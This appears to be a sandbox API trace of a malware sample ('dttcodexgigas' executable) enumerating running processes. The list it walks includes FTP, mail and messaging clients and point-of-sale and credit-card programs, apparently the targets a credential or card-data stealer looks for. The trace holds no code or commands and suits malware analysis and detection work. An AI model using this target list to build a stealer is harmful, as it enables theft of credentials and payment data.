	[0095.024] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0095.024] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0095.024] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0095.025] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0095.025] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0095.025] lstrlenW (lpString="ride_australian.exe") returned 19
	[0095.025] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0095.026] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0095.026] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0095.026] lstrlenW (lpString="rc remember.exe") returned 15
	[0095.026] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0095.027] lstrlenW (lpString="records replace.exe") returned 19
	[0095.027] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0095.028] lstrlenW (lpString="isp physiology.exe") returned 18
	[0095.028] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0095.028] lstrlenW (lpString="feb.exe") returned 7
	[0095.028] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0095.029] lstrlenW (lpString="citizenship.exe") returned 15
	[0095.029] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0095.029] lstrlenW (lpString="wifi.exe") returned 8
	[0095.029] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0095.030] lstrlenW (lpString="3dftp.exe") returned 9
	[0095.030] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0095.030] lstrlenW (lpString="absolutetelnet.exe") returned 18
	[0095.030] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0095.031] lstrlenW (lpString="alftp.exe") returned 9
	[0095.031] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0095.032] lstrlenW (lpString="barca.exe") returned 9
	[0095.032] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0095.033] lstrlenW (lpString="bitkinex.exe") returned 12
	[0095.033] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0095.562] lstrlenW (lpString="coreftp.exe") returned 11
	[0095.562] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0095.563] lstrlenW (lpString="far.exe") returned 7
	[0095.563] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0095.564] lstrlenW (lpString="filezilla.exe") returned 13
	[0095.564] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0095.565] lstrlenW (lpString="flashfxp.exe") returned 12
	[0095.565] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0095.566] lstrlenW (lpString="fling.exe") returned 9
	[0095.566] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0095.567] lstrlenW (lpString="foxmailincmail.exe") returned 18
	[0095.567] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0095.569] lstrlenW (lpString="gmailnotifierpro.exe") returned 20
	[0095.569] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
	[0095.570] lstrlenW (lpString="icq.exe") returned 7
	[0095.570] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1
	[0095.571] lstrlenW (lpString="leechftp.exe") returned 12
	[0095.571] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1
	[0095.572] lstrlenW (lpString="ncftp.exe") returned 9
	[0095.572] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1
	[0095.573] lstrlenW (lpString="notepad.exe") returned 11
	[0095.573] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1
	[0095.574] lstrlenW (lpString="operamail.exe") returned 13
	[0095.574] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x168, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1
	[0095.575] lstrlenW (lpString="pidgin.exe") returned 10
	[0095.575] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1
	[0095.576] lstrlenW (lpString="scriptftp.exe") returned 13
	[0095.576] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1
	[0095.577] lstrlenW (lpString="skype.exe") returned 9
	[0095.577] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1
	[0095.578] lstrlenW (lpString="smartftp.exe") returned 12
	[0095.578] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1
	[0095.579] lstrlenW (lpString="thunderbird.exe") returned 15
	[0095.579] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1
	[0095.580] lstrlenW (lpString="totalcmd.exe") returned 12
	[0095.580] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1
	[0095.581] lstrlenW (lpString="trillian.exe") returned 12
	[0095.581] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1
	[0095.582] lstrlenW (lpString="webdrive.exe") returned 12
	[0095.582] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1
	[0095.582] lstrlenW (lpString="whatsapp.exe") returned 12
	[0095.582] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1
	[0095.583] lstrlenW (lpString="winscp.exe") returned 10
	[0095.583] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1
	[0095.584] lstrlenW (lpString="yahoomessenger.exe") returned 18
	[0095.584] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1
	[0095.585] lstrlenW (lpString="active-charge.exe") returned 17
	[0095.585] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1
	[0095.586] lstrlenW (lpString="accupos.exe") returned 11
	[0095.586] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1
	[0095.586] lstrlenW (lpString="afr38.exe") returned 9
	[0095.586] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1
	[0095.587] lstrlenW (lpString="aldelo.exe") returned 10
	[0095.587] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1
	[0095.588] lstrlenW (lpString="ccv_server.exe") returned 14
	[0095.588] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1
	[0095.589] lstrlenW (lpString="centralcreditcard.exe") returned 21
	[0095.589] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1
	[0095.590] lstrlenW (lpString="creditservice.exe") returned 17
	[0095.590] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1
	[0095.590] lstrlenW (lpString="edcsvr.exe") returned 10
	[0095.591] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1
	[0095.591] lstrlenW (lpString="fpos.exe") returned 8
	[0095.591] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x600, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1
	[0095.592] lstrlenW (lpString="isspos.exe") returned 10
	[0095.592] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1
	[0095.593] lstrlenW (lpString="mxslipstream.exe") returned 16
	[0095.593] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1
	[0095.594] lstrlenW (lpString="omnipos.exe") returned 11
	[0095.594] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1
	[0095.594] lstrlenW (lpString="spcwin.exe") returned 10
	[0095.594] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1
	[0095.595] lstrlenW (lpString="spgagentservice.exe") returned 19
	[0095.596] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1
	[0095.596] lstrlenW (lpString="utg2.exe") returned 8
	[0095.596] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xefc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinesaladafterwards.exe")) returned 1
	[0095.597] lstrlenW (lpString="machinesaladafterwards.exe") returned 26
	[0095.597] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cashiers-ag.exe")) returned 1
	[0095.598] lstrlenW (lpString="cashiers-ag.exe") returned 15
	[0095.598] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x101c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospective-ok-douglas.exe")) returned 1
	[0095.598] lstrlenW (lpString="prospective-ok-douglas.exe") returned 26
	[0095.598] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="limitedcatchexemption.exe")) returned 1
	[0095.599] lstrlenW (lpString="limitedcatchexemption.exe") returned 25
	[0095.599] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1068, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0095.600] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0095.600] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0095.601] lstrlenW (lpString="taskhostw.exe") returned 13
	[0095.601] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0095.601] lstrlenW (lpString="taskhostw.exe") returned 13
	[0095.601] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0095.653] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0095.653] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0095.674] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0095.674] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0095.675] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0095.675] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0095.713] lstrlenW (lpString="UsoClient.exe") returned 13
	[0095.714] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x117c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0095.714] lstrlenW (lpString="conhost.exe") returned 11
	[0095.714] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x115c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0095.715] lstrlenW (lpString="conhost.exe") returned 11
	[0095.715] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.715] lstrlenW (lpString="svchost.exe") returned 11
	[0095.716] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 1
	[0095.716] lstrlenW (lpString="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 58
	[0095.716] Process32NextW (in: hSnapshot=0x358, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0095.717] lstrlenW (lpString="svchost.exe") returned 11
